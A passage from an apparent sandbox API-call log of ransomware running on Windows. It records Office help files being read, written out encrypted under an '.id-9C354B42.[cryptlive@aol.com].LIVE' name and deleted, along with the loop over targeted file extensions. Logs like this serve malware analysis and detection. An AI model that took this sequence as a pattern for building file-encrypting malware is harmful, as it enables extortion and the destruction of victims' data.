dwFileAttributes=0x20) returned 1 [0142.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs")) returned 1 [0142.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0142.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0142.624] lstrlenW (lpString=".doc") returned 4 [0142.624] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0142.624] lstrlenW (lpString=".docx") returned 5 [0142.625] lstrcmpiW (lpString1=".docx", lpString2="R.HXS") returned -1 [0142.625] lstrlenW (lpString=".pdf") returned 4 [0142.625] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0142.625] lstrlenW (lpString=".xls") returned 4 [0142.625] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0142.625] lstrlenW (lpString=".xlsx") returned 5 [0142.625] lstrcmpiW (lpString1=".xlsx", lpString2="R.HXS") returned -1 [0142.625] lstrlenW (lpString=".ppt") returned 4 [0142.625] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0142.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0142.625] lstrlenW (lpString=".zip") returned 4 [0142.625] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0142.625] lstrlenW (lpString=".rar") returned 4 [0142.625] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0142.625] lstrlenW (lpString=".bz2") returned 4 [0142.625] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0142.625] lstrlenW (lpString=".7z") returned 3 [0142.625] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0142.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0142.625] lstrlenW (lpString=".dbf") returned 4 [0142.625] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0142.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0142.625] lstrlenW (lpString=".1cd") returned 4 [0142.625] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0142.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0142.625] lstrlenW (lpString=".jpg") returned 4 [0142.625] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0142.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0142.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0142.625] lstrlenW (lpString=".doc") returned 4 [0142.625] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0142.625] lstrlenW (lpString=".docx") returned 5 [0142.626] lstrcmpiW (lpString1=".docx", lpString2="R.HXS") returned -1 [0142.626] lstrlenW (lpString=".pdf") returned 4 [0142.626] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0142.626] lstrlenW (lpString=".xls") returned 4 [0142.626] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0142.626] lstrlenW (lpString=".xlsx") returned 5 [0142.626] lstrcmpiW (lpString1=".xlsx", lpString2="R.HXS") returned -1 [0142.626] lstrlenW (lpString=".ppt") returned 4 [0142.626] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0142.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0142.626] lstrlenW (lpString=".zip") returned 4 [0142.626] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0142.626] lstrlenW (lpString=".rar") returned 4 [0142.626] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0142.626] lstrlenW (lpString=".bz2") returned 4 [0142.626] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0142.626] lstrlenW (lpString=".7z") returned 3 [0142.626] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0142.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0142.626] lstrlenW (lpString=".dbf") returned 4 [0142.626] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0142.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0142.626] lstrlenW (lpString=".1cd") returned 4 [0142.626] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0142.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0142.626] lstrlenW (lpString=".jpg") returned 4 [0142.626] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0142.627] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0142.627] lstrlenW (lpString="MSACCESS.DEV_COL.HXC") returned 20 [0142.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0142.655] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=656) returned 1 [0142.655] CloseHandle (hObject=0x2f8) returned 1 [0142.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc")) returned 0x20 [0142.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.674] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.674] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0142.674] GetLastError () returned 0x0 [0142.674] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x290, lpOverlapped=0x0) returned 1 [0142.676] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0142.677] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.677] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0142.677] SetEndOfFile (hFile=0x3ac) returned 1 [0142.677] CloseHandle (hObject=0x3ac) returned 1 [0142.677] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.677] SetEndOfFile (hFile=0x380) returned 1 [0142.680] CloseHandle (hObject=0x380) returned 1 [0142.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc")) returned 1 [0142.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0142.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0142.684] lstrlenW (lpString=".doc") returned 4 [0142.684] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0142.684] lstrlenW (lpString=".docx") returned 5 [0142.684] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0142.684] lstrlenW (lpString=".pdf") returned 4 [0142.684] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0142.684] lstrlenW (lpString=".xls") returned 4 [0142.685] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0142.685] lstrlenW (lpString=".xlsx") returned 5 [0142.685] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0142.685] lstrlenW (lpString=".ppt") returned 4 [0142.685] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0142.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0142.685] lstrlenW (lpString=".zip") returned 4 [0142.685] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0142.685] lstrlenW (lpString=".rar") returned 4 [0142.685] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0142.685] lstrlenW (lpString=".bz2") returned 4 [0142.685] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0142.685] lstrlenW (lpString=".7z") returned 3 [0142.685] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0142.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0142.685] lstrlenW (lpString=".dbf") returned 4 [0142.685] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0142.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0142.685] lstrlenW (lpString=".1cd") returned 4 [0142.685] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0142.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0142.685] lstrlenW (lpString=".jpg") returned 4 [0142.685] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0142.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0142.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0142.685] lstrlenW (lpString=".doc") returned 4 [0142.685] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0142.685] lstrlenW (lpString=".docx") returned 5 [0142.685] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0142.685] lstrlenW (lpString=".pdf") returned 4 [0142.685] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0142.685] lstrlenW (lpString=".xls") returned 4 [0142.685] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0142.685] lstrlenW (lpString=".xlsx") returned 5 [0142.685] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0142.685] lstrlenW (lpString=".ppt") returned 4 [0142.686] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0142.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0142.686] lstrlenW (lpString=".zip") returned 4 [0142.686] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0142.686] lstrlenW (lpString=".rar") returned 4 [0142.686] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0142.686] lstrlenW (lpString=".bz2") returned 4 [0142.686] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0142.686] lstrlenW (lpString=".7z") returned 3 [0142.686] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0142.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0142.686] lstrlenW (lpString=".dbf") returned 4 [0142.686] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0142.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0142.686] lstrlenW (lpString=".1cd") returned 4 [0142.686] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0142.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0142.686] lstrlenW (lpString=".jpg") returned 4 [0142.686] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0142.686] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0142.686] lstrlenW (lpString="MSACCESS.DEV_COL.HXT") returned 20 [0142.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.687] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=212) returned 1 [0142.687] CloseHandle (hObject=0x380) returned 1 [0142.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt")) returned 0x20 [0142.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.687] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.687] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0142.688] GetLastError () returned 0x0 [0142.688] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xd4, lpOverlapped=0x0) returned 1 [0142.689] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0142.691] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.691] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0142.691] SetEndOfFile (hFile=0x3ac) returned 1 [0142.691] CloseHandle (hObject=0x3ac) returned 1 [0142.691] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.691] SetEndOfFile (hFile=0x380) returned 1 [0142.694] CloseHandle (hObject=0x380) returned 1 [0142.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt")) returned 1 [0142.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0142.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0142.695] lstrlenW (lpString=".doc") returned 4 [0142.695] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0142.695] lstrlenW (lpString=".docx") returned 5 [0142.695] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0142.695] lstrlenW (lpString=".pdf") returned 4 [0142.695] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0142.695] lstrlenW (lpString=".xls") returned 4 [0142.695] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0142.695] lstrlenW (lpString=".xlsx") returned 5 [0142.695] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0142.695] lstrlenW (lpString=".ppt") returned 4 [0142.695] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0142.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0142.695] lstrlenW (lpString=".zip") returned 4 [0142.695] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0142.695] lstrlenW (lpString=".rar") returned 4 [0142.695] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0142.695] lstrlenW (lpString=".bz2") returned 4 [0142.695] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0142.695] lstrlenW (lpString=".7z") returned 3 [0142.695] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0142.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0142.695] lstrlenW (lpString=".dbf") returned 4 [0142.695] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0142.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0142.695] lstrlenW (lpString=".1cd") returned 4 [0142.695] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0142.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0142.695] lstrlenW (lpString=".jpg") returned 4 [0142.695] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0142.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0142.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0142.696] lstrlenW (lpString=".doc") returned 4 [0142.696] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0142.696] lstrlenW (lpString=".docx") returned 5 [0142.696] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0142.696] lstrlenW (lpString=".pdf") returned 4 [0142.696] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0142.696] lstrlenW (lpString=".xls") returned 4 [0142.696] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0142.696] lstrlenW (lpString=".xlsx") returned 5 [0142.696] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0142.696] lstrlenW (lpString=".ppt") returned 4 [0142.696] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0142.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0142.696] lstrlenW (lpString=".zip") returned 4 [0142.696] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0142.696] lstrlenW (lpString=".rar") returned 4 [0142.696] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0142.696] lstrlenW (lpString=".bz2") returned 4 [0142.696] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0142.696] lstrlenW (lpString=".7z") returned 3 [0142.696] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0142.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0142.696] lstrlenW (lpString=".dbf") returned 4 [0142.696] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0142.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0142.696] lstrlenW (lpString=".1cd") returned 4 [0142.696] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0142.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0142.696] lstrlenW (lpString=".jpg") returned 4 [0142.696] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0142.697] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0142.697] lstrlenW (lpString="MSACCESS.DEV_F_COL.HXK") returned 22 [0142.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.697] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=114) returned 1 [0142.697] CloseHandle (hObject=0x380) returned 1 [0142.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk")) returned 0x20 [0142.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.698] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.698] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0142.698] GetLastError () returned 0x0 [0142.698] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x72, lpOverlapped=0x0) returned 1 [0142.700] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x80, lpOverlapped=0x0) returned 1 [0142.701] ReadFile (in: hFile=0x380, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.701] WriteFile (in: hFile=0x3ac, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x100, lpOverlapped=0x0) returned 1 [0142.702] SetEndOfFile (hFile=0x3ac) returned 1 [0142.702] CloseHandle (hObject=0x3ac) returned 1 [0142.702] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.702] SetEndOfFile (hFile=0x380) returned 1 [0142.705] CloseHandle (hObject=0x380) returned 1 [0142.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk")) returned 1 [0142.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0142.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0142.706] lstrlenW (lpString=".doc") returned 4 [0142.706] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 